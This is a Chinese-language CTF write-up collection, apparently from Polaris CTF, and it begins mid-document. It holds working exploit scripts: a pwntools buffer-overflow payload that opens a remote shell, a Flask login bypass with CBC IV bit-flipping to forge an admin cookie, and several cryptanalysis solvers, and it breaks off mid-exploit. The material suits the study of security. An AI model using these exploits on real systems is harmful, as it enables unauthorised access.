b"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz+/"

脚本会先用这段已知明文做自校验，确认逆过程正确，再去解 Flag Ciphertext。

最终拿到的 flag 为：

flag{327d6902-abe7-4c55-ae45-5c382d128ae9}

exp

from pwn import *
import sys

context.arch = "amd64"
context.os = "linux"
context.log_level = "info"

HOST = sys.argv[1] if len(sys.argv) > 1 else "114.66.24.221"
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 35588
MODE = sys.argv[3] if len(sys.argv) > 3 else "solve"

RET = 0x401384
WIN = 0x401436
EXIT_PLT = 0x401320
OFFSET = 0x3E8
ROUNDKEY_AREA = 0x150
KNOWN_PLAIN = b"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz+/"


def build_shell_payload():
    return flat(
        b"A" * 64,
        b"\x00",
        b"B" * (OFFSET - 65),
        RET,
        WIN,
        EXIT_PLT,
        b"\n",
    )


def build_solve_payload():
    return KNOWN_PLAIN + (b"\x00" * ROUNDKEY_AREA) + b"\n"


def gmul(a, b):
    out = 0
    for _ in range(8):
        if b & 1:
            out ^= a
        hi = a & 0x80
        a = (a << 1) & 0xFF
        if hi:
            a ^= 0x1B
        b >>= 1
    return out


def inv_column_rotate(block):
    out = bytearray(16)
    for row in range(4):
        for col in range(4):
            src_row = (row - col) % 4
            out[row * 4 + col] = block[src_row * 4 + col]
    return bytes(out)


def inv_mix_rows(block):
    out = bytearray(16)
    for row in range(4):
        base = row * 4
        a0, a1, a2, a3 = block[base : base + 4]
        out[base + 0] = gmul(a0, 14) ^ gmul(a1, 11) ^ gmul(a2, 13) ^ gmul(a3, 9)
        out[base + 1] = gmul(a0, 9) ^ gmul(a1, 14) ^ gmul(a2, 11) ^ gmul(a3, 13)
        out[base + 2] = gmul(a0, 13) ^ gmul(a1, 9) ^ gmul(a2, 14) ^ gmul(a3, 11)
        out[base + 3] = gmul(a0, 11) ^ gmul(a1, 13) ^ gmul(a2, 9) ^ gmul(a3, 14)
    return bytes(out)


def decrypt_block(block):
    state = bytes(block)
    for _ in range(19):
        state = inv_column_rotate(state)
        state = inv_mix_rows(state)
    state = inv_column_rotate(state)
    return state


def unpad(data):
    if not data:
        return data
    pad = data[-1]
    if not 1 <= pad <= 16:
        return data
    if data.endswith(bytes([pad]) * pad):
        return data[:-pad]
    return data


def decrypt_bytes(cipher):
    plain = b"".join(decrypt_block(cipher[i : i + 16]) for i in range(0, len(cipher), 16))
    return unpad(plain)


def main():
    io = remote(HOST, PORT)

    if MODE == "shell":
        io.recvrepeat(0.2)
        io.send(build_shell_payload())
        io.interactive()
        return

    io.recvuntil(b"Enter plaintext in chars (max 64 chars):\n")
    io.send(build_solve_payload())

    io.recvuntil(b"Ciphertext (hex): ")
    plain_ct = bytes.fromhex(io.recvline().strip().decode())
    io.recvuntil(b"Flag Ciphertext (hex): ")
    flag_ct = bytes.fromhex(io.recvline().strip().decode())

    if decrypt_bytes(plain_ct) != KNOWN_PLAIN:
        log.failure("self-check failed")
        sys.exit(1)

    flag = decrypt_bytes(flag_ct)
    log.success(f"flag = {flag.decode(errors='replace')}")
    io.close()


if __name__ == "__main__":
    main()

Polaris_CTF

2026-03-30T09:31:53.000Z

app.py

题目

from flask import Flask, request, make_response, render_template, redirect, url_for, abort
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import os

app = Flask(__name__)
KEY = os.getenv("SECRET_KEY", os.urandom(16))
ADMIN_PASS = os.getenv("ADMIN_PASS", "admin123")
FLAG = os.getenv("FLAG", "XMCTF{xxxxxx}")

# 初始数据，禁止注册 admin
USERS = {"admin": ADMIN_PASS}

def get_session_data(token_hex):
    if not token_hex: return None
    data = bytes.fromhex(token_hex)
    iv, ct = data[:16], data[16:]
    cipher = AES.new(KEY, AES.MODE_CBC, iv)
    decrypted = cipher.decrypt(ct)
    print(decrypted)
    return unpad(decrypted, 16).decode(errors='ignore')

def create_session(username):
    iv = os.urandom(16)
    cipher = AES.new(KEY, AES.MODE_CBC, iv)
    msg = f"user={username}".encode()
    ct = cipher.encrypt(pad(msg, 16))
    return (iv + ct).hex()

@app.route('/')
def index():
    token = request.cookies.get('session')
    if not token:
        return redirect(url_for('login_page'))
    
    try:
        msg = get_session_data(token)
        if not msg or not msg.startswith("user="):
            return redirect(url_for('login_page'))
        
        username = msg[5:]
    except:
        abort(500, description="Invalid Session")
    
    return render_template('index.html', username=username, flag=FLAG if username == "admin" else None)

@app.route('/login', methods=['GET', 'POST'])
def login_page():
    if request.method == 'GET':
        return render_template('login.html')
    
    user = request.form.get('username')
    pw = request.form.get('password')
    
    if USERS.get(user) == pw:
        resp = make_response(redirect(url_for('index')))
        resp.set_cookie('session', create_session(user))
        return resp
    return "Invalid username or password", 403

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

分析

题目给了一个 Flask 应用，核心逻辑如下：

USERS = {"admin": ADMIN_PASS}

if USERS.get(user) == pw:
    resp = make_response(redirect(url_for('index')))
    resp.set_cookie('session', create_session(user))
    return resp

登录成功后会下发一个 session cookie，而这个 cookie 的生成方式是：

def create_session(username):
    iv = os.urandom(16)
    cipher = AES.new(KEY, AES.MODE_CBC, iv)
    msg = f"user={username}".encode()
    ct = cipher.encrypt(pad(msg, 16))
    return (iv + ct).hex()

服务端读取 cookie 时会直接解密：

def get_session_data(token_hex):
    data = bytes.fromhex(token_hex)
    iv, ct = data[:16], data[16:]
    cipher = AES.new(KEY, AES.MODE_CBC, iv)
    decrypted = cipher.decrypt(ct)
    return unpad(decrypted, 16).decode(errors='ignore')

最后在首页里判断用户名是否为 admin，如果是就显示 flag。

1：登录绕过

登录校验写成了：

if USERS.get(user) == pw:

如果 user 不存在，那么 USERS.get(user) 返回 None。
如果我们不传 password， request.form.get('password') 也是 None。

于是：

None == None

结果为真

例如发送：

POST /login

username=guest

就能拿到一个合法的 session。

2：CBC 无完整性校验，可篡改明文

拿到 session 后，我去看 cookie 是怎么生成和解析的：

def create_session(username):
    iv = os.urandom(16)
    cipher = AES.new(KEY, AES.MODE_CBC, iv)
    msg = f"user={username}".encode()
    ct = cipher.encrypt(pad(msg, 16))
    return (iv + ct).hex()

def get_session_data(token_hex):
    data = bytes.fromhex(token_hex)
    iv, ct = data[:16], data[16:]
    cipher = AES.new(KEY, AES.MODE_CBC, iv)
    decrypted = cipher.decrypt(ct)
    return unpad(decrypted, 16).decode(errors='ignore')

看到这里基本就可以确定方向了：它只做了 CBC 加密，没有签名，没有 MAC，也没有额外完整性校验。

这类 session 我一般都会先问自己一句：我能不能不解密，只改它的明文含义？

答案是可以，因为 CBC 第一块满足：

P1 = D(C1) xor IV

因此如果我们修改 IV，就可以精准修改第一块明文，而不需要知道密钥。

题目生成的明文格式是：

user=

我们先登录得到：

user=guest

再把它翻成：

user=admin

之所以选择 guest，是因为它和 admin 都是 5 个字符，修改后长度不变，padding 也保持一致。

第一块明文分别为：

original = b"user=guest".ljust(16, b"\x06")
target   = b"user=admin".ljust(16, b"\x06")

所以新的 IV 为：

IV' = IV ^ original ^ target

然后把新的 IV' 和原来的密文拼回去，就得到一个解密后为 user=admin 的新 cookie。

exp

import http.cookiejar
import re
import urllib.parse
import urllib.request

HOST = "http://nc1.ctfplus.cn:19723"


def xor_bytes(a: bytes, b: bytes) -> bytes:
    return bytes(x ^ y for x, y in zip(a, b))


def forge_admin_cookie(cookie_hex: str) -> str:
    raw = bytes.fromhex(cookie_hex)
    iv, ct = raw[:16], raw[16:]

    original = b"user=guest".ljust(16, bytes([6]))
    target = b"user=admin".ljust(16, bytes([6]))
    forged_iv = xor_bytes(iv, xor_bytes(original, target))
    return (forged_iv + ct).hex()


jar = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(jar))

data = urllib.parse.urlencode({"username": "guest"}).encode()
req = urllib.request.Request(f"{HOST}/login", data=data, method="POST")
opener.open(req)

session = None
for cookie in jar:
    if cookie.name == "session":
        session = cookie.value
        break

forged = forge_admin_cookie(session)
req = urllib.request.Request(f"{HOST}/")
req.add_header("Cookie", f"session={forged}")
body = opener.open(req).read().decode("utf-8", "ignore")

print(body)
print(re.search(r"xmctf\\{[^}]+\\}", body, re.IGNORECASE).group(0))

总结

核心是两个经典问题：

登录逻辑，导致 None == None 可以绕过认证。
session 只做了 CBC 加密，没有做完整性保护，导致可以通过修改 IV 篡改第一块明文。

拿到任意普通用户 session 后，利用 CBC bit flipping 把 user=guest 改成 user=admin，即可得到 flag。

ecc

题目：

from Crypto.Util.number import *
from secrets import flag

p = 9259018534502783714631247560818133078409930397939705162361230465031580254504264713899169170790687716589100652406132800533397486109926387016562663961524649
a = 0
b = 6235467631650349040636525320446729529985562949423449382969614887116983248527693872546808737512375916974084741892428681798937790855872528526403738040908493
c = 4165903654767429195543540819098180314477702137507994424192636596518008877139978822038616746899053449640020812062736993008962585578921635697413459959685760
d = 1889382340373247565387211782596794283852946561870564309251998196824383297786878212641581641540685106266683503654620956037368416192796434147249748216284648
e = 3015564788819504594313842562882781366361783108618226049128986996153057550014499326419988348165744003693083108924831219996703133056523468396967900376388617


def add(P1, P2):
    if P1 is None:
        return P2

    x1, y1 = P1
    x2, y2 = P2

    l = (y2 - y1) * pow(x2 - x1, -1, p) % p
    x3 = (l**2 + a * l - b - x1 - x2) % p
    y3 = (l * (x1 - x3) - y1 - a * x3 - c) % p
    return (x3, y3)


def double(P):
    if P is None:
        return None

    x, y = P

    denom = (2 * y + a * x + c) % p
    num = (3 * x**2 + 2 * b * x + d - a * y) % p
    l = (num * pow(denom, -1, p)) % p
    x3 = (l**2 + a * l - b - 2 * x) % p
    y3 = (l * (x - x3) - y - a * x3 - c) % p
    return (x3, y3)


def mul(k, P):
    Q = None
    while k:
        if k & 1:
            Q = add(Q, P)
        P = double(P)
        k >>= 1
    return Q


m = bytes_to_long(flag)
G = (1244884551970947614719458919805713649754289814760243366205012699871413235954279930743612403791919112394457579170253990713250052822262255880036254772609156, 4579639528751113977115209571728128585569082149696598770106934145500742785077382446292613925719404433141749168427443122707253164477493499731016883616496009)
P = mul(m, G)
print(P)

# (9039120379228240875764080238389949393433230267005269099421166553853462484353350917730468887801035670710981414900285176863179650428412616144755102163764906, 6266065680737729548475090556806928225106996606788926050268440244885398464756877886842570309216095272026404453765198968208595242208306240371310555394416694)

分析

1. 题目在做什么

题目给了点加、倍点、标量乘：

P = mul(m, G)

看起来就是：

给定基点 G
给定结果点 P
求未知标量 m

首先想到有没有群阶漏洞、能不能Pohlig-Hellman或者是p-adic
但是尝试之后发现无果
拷打ai后发现曲线本身具有特殊性

如果曲线真的是一条非奇异椭圆曲线，那通常很难做。
但这题的坑在于：它虽然用了椭圆曲线的公式，曲线本身却是奇异的。

曲线分析

y^2 + cy = x^3 + bx^2 + dx + e

令：

Y = y + \frac c2

y^2 + cy = \left(y+\frac c2\right)^2 - \frac{c^2}{4}

移项以后得到：

Y^2 = x^3 + bx^2 + dx + e + \frac{c^2}{4}

对左式因式分解
但这里一分解发现：

x^3 + bx^2 + dx + e + \frac{c^2}{4} = (x-r)^3

也就是：

Y^2 = (x-r)^3

这就很关键了。
发现这个曲线是奇异三次曲线

奇异三次曲线上的“群”通常会退化成更简单的代数结构。

原来难的离散对数：

P = [m]G

会塌成一个线性关系：

s(P)=m\cdot s(G)

于是：

m = \frac{s(P)}{s(G)}

S是什么

Y^2=u^3

左边是平方，右边是立方，让它们都等于某个六次方。于是设

u=s^2,\qquad Y=s^3

立刻有

Y^2=(s^3)^2=s^6,\qquad u^3=(s^2)^3=s^6

所以自动满足

Y^2=u^3

因此曲线上点可以写成

u=s^2,\qquad Y=s^3

再换回原变量：

x=r+s^2,\qquad y=s^3-\frac c2

这就是这条奇异曲线的一组参数表示。

exp

from sage.all import *
from Crypto.Util.number import long_to_bytes

p = 9259018534502783714631247560818133078409930397939705162361230465031580254504264713899169170790687716589100652406132800533397486109926387016562663961524649
b = 6235467631650349040636525320446729529985562949423449382969614887116983248527693872546808737512375916974084741892428681798937790855872528526403738040908493
c = 4165903654767429195543540819098180314477702137507994424192636596518008877139978822038616746899053449640020812062736993008962585578921635697413459959685760
d = 1889382340373247565387211782596794283852946561870564309251998196824383297786878212641581641540685106266683503654620956037368416192796434147249748216284648
e = 3015564788819504594313842562882781366361783108618226049128986996153057550014499326419988348165744003693083108924831219996703133056523468396967900376388617

gx, gy = 1244884551970947614719458919805713649754289814760243366205012699871413235954279930743612403791919112394457579170253990713250052822262255880036254772609156, 4579639528751113977115209571728128585569082149696598770106934145500742785077382446292613925719404433141749168427443122707253164477493499731016883616496009
px, py = 9039120379228240875764080238389949393433230267005269099421166553853462484353350917730468887801035670710981414900285176863179650428412616144755102163764906, 6266065680737729548475090556806928225106996606788926050268440244885398464756877886842570309216095272026404453765198968208595242208306240371310555394416694

F = GF(p)
R. = PolynomialRing(F)
f = x^3 + F(b)*x^2 + F(d)*x + F(e) + F(c)^2/4

print(factor(f))
r = f.roots(multiplicities=False)[0]

tg = (F(gx) - r) / (F(gy) + F(c)/2)
tp = (F(px) - r) / (F(py) + F(c)/2)

m = ZZ(tp / tg)
print(m)
print(long_to_bytes(int(m)))

truck

题目

from hashlib import md5
from secret import flag

_H = lambda m: md5(m).digest()

S = set()

for _ in range(10):
    A, B, C = bytes.fromhex(input('A > ')), bytes.fromhex(input('B > ')), bytes.fromhex(input('C > '))
    ha, hb, hc = _H(A), _H(B), _H(C)
    assert ha == hb == hc

    D, E, F = bytes.fromhex(input('D > ')), bytes.fromhex(input('E > ')), bytes.fromhex(input('F > '))
    hd, he, hf = _H(ha + D), _H(hb + E), _H(hc + F)
    assert hd == he == hf

    G, H, I = bytes.fromhex(input('G > ')), bytes.fromhex(input('H > ')), bytes.fromhex(input('I > '))
    assert _H(hd + G) == _H(he + H) == _H(hf + I)

    cur = (A, B, C, D, E, F, G, H, I)
    assert len(set(cur)) == 9
    assert not any(x in S for x in cur) 
    S.update(cur)

print(f'good: {flag}')

提姆分析

题目每轮读入 9 个十六进制串：

第一层：A, B, C
第二层：D, E, F
第三层：G, H, I

校验逻辑是：

ha, hb, hc = md5(A), md5(B), md5(C)  
assert ha == hb == hc  
  
hd, he, hf = md5(ha + D), md5(hb + E), md5(hc + F)  
assert hd == he == hf  
  
assert md5(hd + G) == md5(he + H) == md5(hf + I)

同时要求：

A ~ I 这 9 个串两两不同
所有轮次历史输入不能重复
共做 10 轮，全部通过才出 flag。

题目虽然表面上要求“三碰撞”，但实际上每一层都只是：

给定一个相同前缀
找三个不同后缀
使得 MD5 相等

而 fastcoll 恰好可以在相同前缀下做 MD5 二碰撞，因此本题并不需要真的去实现“三碰撞算法”，只要把二碰撞拼成更多碰撞

第一层：构造 A, B, C

直接找三个完整消息，使得：

MD5(A)=MD5(B)=MD5(C)

第二层：构造 D, E, F

第二层比较的是：

MD5(ha+D),\ MD5(hb+E),\ MD5(hc+F)

而第一层已经保证：

ha=hb=hc

所以第二层本质上是在同一个前缀 ha 下，找 3 个不同后缀 D, E, F，使得：

MD5(ha+D)=MD5(ha+E)=MD5(ha+F)

因此只需要把 ha = MD5(A).digest() 作为公共前缀，再做一次四碰撞
第三层同理

exp

#!/usr/bin/env python3
import os
import subprocess
import tempfile
from hashlib import md5
from pwn import remote

FASTCOLL = "/root/.openclaw/workspace/fastcoll"
HOST = "nc1.ctfplus.cn"
PORT = 24915

#nc1.ctfplus.cn 24915
def H(x: bytes) -> bytes:
    return md5(x).digest()


def run_fastcoll(prefix: bytes):
    with tempfile.TemporaryDirectory() as td:
        pf = os.path.join(td, "prefix.bin")
        a = os.path.join(td, "a.bin")
        b = os.path.join(td, "b.bin")
        with open(pf, "wb") as f:
            f.write(prefix)

        subprocess.check_call(
            [FASTCOLL, "-p", pf, "-o", a, b],
            stdout=subprocess.DEVNULL,
            stderr=subprocess.DEVNULL,
        )

        with open(a, "rb") as f:
            x = f.read()
        with open(b, "rb") as f:
            y = f.read()

    assert x != y
    assert H(x) == H(y)
    assert x.startswith(prefix) and y.startswith(prefix)
    return x, y


def four_collision(prefix: bytes):
    m0, m1 = run_fastcoll(prefix)
    n0, n1 = run_fastcoll(m0)

    y0 = n0[len(m0):]
    y1 = n1[len(m0):]

    c0 = m0 + y0
    c1 = m0 + y1
    c2 = m1 + y0
    c3 = m1 + y1

    h = H(c0)
    assert H(c1) == h
    assert H(c2) == h
    assert H(c3) == h
    assert len({c0, c1, c2, c3}) == 4
    return c0, c1, c2, c3


def three_full_msgs(prefix: bytes):
    c0, c1, c2, _ = four_collision(prefix)
    return c0, c1, c2


def three_suffixes(prefix: bytes):
    c0, c1, c2, _ = four_collision(prefix)
    return c0[len(prefix):], c1[len(prefix):], c2[len(prefix):]


def send_hex(io, prompt: bytes, data: bytes):
    io.sendlineafter(prompt, data.hex().encode())


def build_round(r: int):
    prefix1 = f"round-{r:02d}|".encode()
    A, B, C = three_full_msgs(prefix1)
    ha = H(A)
    assert H(B) == ha and H(C) == ha

    D, E, F = three_suffixes(ha)
    hd = H(ha + D)
    assert H(ha + E) == hd and H(ha + F) == hd

    G, HH, I = three_suffixes(hd)
    last = H(hd + G)
    assert H(hd + HH) == last and H(hd + I) == last

    cur = [A, B, C, D, E, F, G, HH, I]
    assert len(set(cur)) == 9
    return cur


def main():
    used = set()
    rounds = []

    for r in range(10):
        while True:
            vals = build_round(r)
            if any(x in used for x in vals):
                continue
            used.update(vals)
            rounds.append(vals)
            print(f"[+] built round {r}")
            break

    io = remote(HOST, PORT)

    for vals in rounds:
        A, B, C, D, E, F, G, HH, I = vals
        send_hex(io, b"A > ", A)
        send_hex(io, b"B > ", B)
        send_hex(io, b"C > ", C)
        send_hex(io, b"D > ", D)
        send_hex(io, b"E > ", E)
        send_hex(io, b"F > ", F)
        send_hex(io, b"G > ", G)
        send_hex(io, b"H > ", HH)
        send_hex(io, b"I > ", I)

    io.interactive()


if __name__ == "__main__":
    main()

sda

题目

from sage.all import *
from Crypto.Util.number import *
from Crypto.Util.Padding import pad
from Crypto.Cipher import AES
from secret import flag,x1,x2,x3,y,z1,z2,z3,alpha
import hashlib

A1 = 234110215243875326749544596075512335544257
B1 = 68765596672109672407420253033782942222910  
A2 = 636185906634748653451789798738597280632127
B2 = 131860738134887128678021271054606611917493 
A3 = 905712574946398586494048707872100065355613
B3 = 197958111431918701470218006359610095848736

As = [A1, A2, A3]    
Bs = [B1, B2, B3]    
xs = [x1, x2, x3]
zs = [z1, z2, z3]
A = max(As)          

k = 3    
delta = (k * (2 * alpha - 1)) / (2 * (k + 1))

for i in range(k):
    Ai = As[i]
    pi, qi = factor(Ai)[0][0], factor(Ai)[1][0]  
    z_abs_bound = ((pi - qi) / (3 * (pi + qi))) * (y**2) * (Ai**(1/4))
    assert xs[i]**2 < A**delta
    assert y**2 < A**delta
    assert Bs[i] * xs[i]**2 - y**2 * euler_phi(Ai) == zs[i]
    assert abs(zs[i]) < z_abs_bound

key_material_int = y**2 + x1**2 * x2**2 * x3**2
key_material_bytes = long_to_bytes(key_material_int)
aes_key = hashlib.sha256(key_material_bytes).digest()[:16]

cipher = AES.new(aes_key, AES.MODE_CBC)
iv = cipher.iv
ciphertext = cipher.encrypt(pad(flag, AES.block_size))

print(iv.hex() + ciphertext.hex())
"""
93192f46a00b2dade984ca758706b00681263a8536d8051aff0206d257ce4c2aad6bc017138d4c7aeaed5c8fc2c1ea2f3cec3fbd9201bb5844fa8143d6630944
"""

分析

核心：

B_i x_i^2 - y^2\varphi(A_i)=z_i

做一个换元，把问题改成线性的
令

U_1=x_1^2,\quad U_2=x_2^2,\quad U_3=x_3^2,\quad Y=y^2

那么三条式子变成：

B_1U_1-\varphi(A_1)Y=z_1

B_2U_2-\varphi(A_2)Y=z_2

B_3U_3-\varphi(A_3)Y=z_3

现在未知量变成了：

$U_1,U_2,U_3,Y$ 四个小整数
$z_1,z_2,z_3$ 三个更小的误差

同时题目还给了一堆约束

主变量不大，误差更小，还有多条线性关系”的味道

不难想到要做LLL求解

$\boldsymbol{B}=\begin{pmatrix}S & 0 & 0 & 0 & B_1 & 0 & 0 \\0 & S & 0 & 0 & 0 & B_2 & 0 \\0 & 0 & S & 0 & 0 & 0 & B_3 \\0 & 0 & 0 & S & -\varphi_1 & -\varphi_2 & -\varphi_3\end{pmatrix}$

于是：
$(U_1,U_2,U_3,Y)\cdot B=(SU_1,\ SU_2,\ SU_3,\ SY,\ z_1,\ z_2,\ z_3)$
$S$ 是配置的系数
对其做lll,就能解出 $U_1,U_2,U_3,Y$
再去恢复 AES key就好

exp

from sympy import Matrix, factorint
from Crypto.Util.number import long_to_bytes
from Crypto.Util.Padding import unpad
from Crypto.Cipher import AES
import hashlib

A1 = 234110215243875326749544596075512335544257
B1 = 68765596672109672407420253033782942222910
A2 = 636185906634748653451789798738597280632127
B2 = 131860738134887128678021271054606611917493
A3 = 905712574946398586494048707872100065355613
B3 = 197958111431918701470218006359610095848736

As = [A1, A2, A3]
Bs = [B1, B2, B3]

phis = []
for A in As:
    fac = list(factorint(A).keys())
    p, q = fac[0], fac[1]
    phis.append((p - 1) * (q - 1))

S = 1 << 36
M = Matrix([
    [S, 0, 0, 0, Bs[0],      0,      0],
    [0, S, 0, 0,      0, Bs[1],      0],
    [0, 0, S, 0,      0,      0, Bs[2]],
    [0, 0, 0, S, -phis[0], -phis[1], -phis[2]],
])

L = M.lll()
row = L.tolist()[0]          
U1, U2, U3, Y = [abs(x) // S for x in row[:4]]
z1, z2, z3 = row[4:]

hexdata = "93192f46a00b2dade984ca758706b00681263a8536d8051aff0206d257ce4c2aad6bc017138d4c7aeaed5c8fc2c1ea2f3cec3fbd9201bb5844fa8143d6630944"
iv = bytes.fromhex(hexdata[:32])
ct = bytes.fromhex(hexdata[32:])

key_material_int = Y + U1 * U2 * U3
key_material_bytes = long_to_bytes(key_material_int)
aes_key = hashlib.sha256(key_material_bytes).digest()[:16]

pt = AES.new(aes_key, AES.MODE_CBC, iv).decrypt(ct)
print(unpad(pt, 16).decode())

RSA_LCG

题目

from Crypto.Util.number import getPrime, bytes_to_long
import random
import os
import signal

FLAG = os.environ.get("FLAG", "XMCTF{fake_flag}")
secret = os.urandom(64)

e = 263
bit_length = 1024


def get_rsa_params():
    p = getPrime(bit_length)
    q = getPrime(bit_length)
    N = p * q
    return N


class RSA_LCG:
    def __init__(self, seed, a, b, N):
        self.seed = seed
        self.a = a
        self.b = b
        self.N = N
        self.e = e

    def leak_params(self):

        diff = (self.b - self.a) % self.N
        leak_diff_e = pow(diff, self.e, self.N)

        return  self.a, leak_diff_e


    def next(self):

        self.seed = (self.a * self.seed + self.b) % self.N

        return pow(self.seed, self.e, self.N)


def challenge():

    N = get_rsa_params()

    seed = bytes_to_long(secret)
    assert seed < N

    a = random.getrandbits(bit_length)
    b = random.getrandbits(bit_length)

    rsa_lcg = RSA_LCG(seed, a, b, N)

    print(f"N = {N}")
    print(f"e = {e}")
    print("-" * 30)


    leak = rsa_lcg.leak_params()
    print(f"[+] leak: {leak}")


    out1 = rsa_lcg.next()
    print(f"[+] Output 1: {out1}")

    out2 = rsa_lcg.next()
    print(f"[+] Output 2: {out2}")


if __name__ == "__main__":
    challenge()
    signal.alarm(4)
    guess_hex = input("secret (hex): ").strip()
    guess = bytes.fromhex(guess_hex)
    if guess == secret:
        print(f"Good! Here is your flag: {FLAG}")

分析

这题看着像 RSA，其实重点不在分解 N，也不在硬开 e 次根，而是在利用几个 RSA 幂值之间的关系把内部状态抠出来。

题目在做什么

内部递推是一个仿射 LCG：

x1 = a*seed + b
x2 = a*x1 + b

题目给你的不是 x1、x2，而是：

a
(b-a)^e
x1^e
x2^e

其中 e = 263，目标是恢复最开始的 64 字节 secret。

换个变量

设：

d = b-a

那么：

b = d+a
x2 = a*x1 + b = a*(x1+1) + d

这样未知量就只剩两个：x1 和 d，并且满足：

x1^e = y1
d^e  = c
(a*(x1+1)+d)^e = y2

核心：先把 d 消掉

把 d 记成变量 Z，把 a*(x1+1) 记成 T，就有：

Z^e - c = 0
(T+Z)^e - y2 = 0

对 Z 取结果式：

R(T) = Res_Z(Z^e-c, (T+Z)^e-y2)

它的意义就是：只要某个 T 能让这两条方程有公共根，就一定满足 R(T)=0。

真实情况下公共根就是 Z=d，而对应的：

T = a*(x1+1)

所以：

R(a*(x1+1)) = 0

解出出 x1

题目还给了：

x1^e = y1

所以 x1 同时满足：

X^e - y1 = 0
R(a*(X+1)) = 0

也就是说，x1 是这两个多项式的公共根。
直接做：

gcd(X^e-y1, R(a*(X+1)))

就能拿到 x1。

求 d

有了 x1 之后，d 满足：

d^e = c
(d + a*(x1+1))^e = y2

再做一次：

gcd(Y^e-c, (Y+a*(x1+1))^e-y2)

就能恢复 d。

还原 secret

因为：

x1 = a*seed + b
b = d + a

所以：

seed = (x1-b)/a
     = (x1-d-a)/a
     = (x1-d)/a - 1 mod N

把这个 seed 转成 64 字节，就是题目要的 secret。

难点：

思路其实不难，难的是 4 秒时限。

如果直接硬算结果式 R(T) 会非常大，根本来不及。
关键优化是利用它只含 T^e, T^(2e), ... 这些项，所以可以写成：

R(T) = Phi(T^e)

其中 Phi 只是一个 263 次多项式。
所以实际做法不是硬展开大结果式，而是先恢复这个较小的 Phi，再去做 gcd。

exp

from sage.all import Integers, PolynomialRing, inverse_mod
import socket
import re

HOST = "nc1.ctfplus.cn"
PORT = 26179
E = 263
PROMPT = b"secret (hex): "

def monic_gcd(f, g):
    while not g.is_zero():
        r = f % g
        f, g = g.monic(), r.monic() if not r.is_zero() else r
    return f.monic()

def precompute_blocks():
    blocks = [1]
    for k in range(1, E + 1):
        x = 1
        for t in range(1, E + 1):
            x *= E * (k - 1) + t
        blocks.append(x)
    return blocks

BLOCKS = precompute_blocks()

def build_phi_coeffs(c, y2, N):
    coeffs = []
    pows_c = [1]
    pows_y2 = [1]
    for _ in range(E):
        pows_c.append((pows_c[-1] * c) % N)
        pows_y2.append((pows_y2[-1] * y2) % N)

    inv = [0] + [pow(i, -1, N) for i in range(1, E + 1)]
    block = [x % N for x in BLOCKS]
    block_inv = [0] + [pow(block[i], -1, N) for i in range(1, E + 1)]

    power_sums = [0]
    for m in range(1, E + 1):
        s = 0
        comb = 1
        for j in range(m + 1):
            term = comb * pows_c[m - j] % N * pows_y2[j] % N
            s = (s - term) % N if (m - j) & 1 else (s + term) % N
            if j != m:
                comb = comb * block[m - j] % N * block_inv[j + 1] % N
        power_sums.append(s * E % N)

        cur = power_sums[m]
        for i in range(1, m):
            cur += coeffs[i - 1] * power_sums[m - i]
        coeffs.append((-cur * inv[m]) % N)
    return coeffs

def recover_secret(N, a, c, y1, y2):
    ring = Integers(N)
    coeffs = build_phi_coeffs(c, y2, N)

    RX = PolynomialRing(ring, "X")
    X = RX.gen()
    fx = X**E - ring(y1)
    w = ring(pow(a, E, N)) * (X + 1) ** E % fx

    gx = RX.one()
    for coef in coeffs:
        gx = (gx * w + RX(coef)) % fx
    gx = monic_gcd(fx, gx)
    x1 = int(-gx[0]) % N

    RY = PolynomialRing(ring, "Y")
    Y = RY.gen()
    gd = monic_gcd(Y**E - ring(c), (Y + ring(a) * (ring(x1) + 1)) ** E - ring(y2))
    d = int(-gd[0]) % N

    seed = int((ring(x1 - d) * inverse_mod(ring(a), N) - 1)) % N
    return seed.to_bytes(64, "big")

def recv_until(sock, marker):
    data = b""
    while marker not in data:
        chunk = sock.recv(4096)
        if not chunk:
            break
        data += chunk
    return data

def parse(blob):
    text = blob.decode()
    N = int(re.search(r"N = (\d+)", text).group(1))
    a, c = map(int, re.search(r"\[\+\] leak: \((\d+), (\d+)\)", text).groups())
    y1 = int(re.search(r"\[\+\] Output 1: (\d+)", text).group(1))
    y2 = int(re.search(r"\[\+\] Output 2: (\d+)", text).group(1))
    return N, a, c, y1, y2

with socket.create_connection((HOST, PORT)) as io:
    blob = recv_until(io, PROMPT)
    N, a, c, y1, y2 = parse(blob)
    secret = recover_secret(N, a, c, y1, y2)
    io.sendall(secret.hex().encode() + b"\n")
    print(blob.decode(), end="")
    print(recv_until(io, b"\n").decode(), end="")

待补充：

神秘学

分析

RSA 加解密关系反转

题目中的公钥指数不是常见的 65537，而是：

e = inverse(c, (p-1)(q-1))

即：

e \equiv c^{-1} \pmod{\varphi(n)}

所以只要求出 c，就能直接解密：

多项式分析

poly(x)=x^3-a x^2+b x-c-k n

对其求导：

poly'(x)=3x^2-2ax+b

在 $(x_1,a_1,b_1)$ 处代入后得到：

deriv1\_num=3x_1^2-2a_1x_1+b_1

整理一下：

a_1=\frac{3x_1^2-deriv1\_num+b_1}{2x_1}

还原 $a_1,b_1$

这里的关键是量级差：

$x_1$ 是 512 bit 量级大数
$a_1,b_1$ 只有 120 bit 左右

因此上式中

\frac{b_1}{2x_1}

非常小，几乎可以忽略。于是有近似：

a_1 \approx \frac{3x_1^2-deriv1\_num}{2x_1}

当枚举到候选的 a1 后，可以由

b_1 = deriv1\_num - 3x_1^2 + 2a_1x_1

直接求出 b1

还原c

然后ai说:

poly(x_1)=0

???不懂???
移项可得：

c=x_1^3-a_1x_1^2+b_1x_1-k n

求出c
其中 k 是 8 bit 素数，所以直解爆破即可

exp

from Crypto.Util.number import long_to_bytes, isPrime

n = 63407394080105297388278430339692150920405158535377818019441803333853224630295862056336407010055412087494487003367799443217769754070745006473326062662322624498633283896600769211094059989665020951007831936771352988585565884180663310304029530702695576386164726400928158921458173971287469220518032325956366276127
x1 = 3481408902400626584294863390184557833125008467348169645656825368985677578418186933223051810792813745190000132321911937970968840332589150965113386330575858
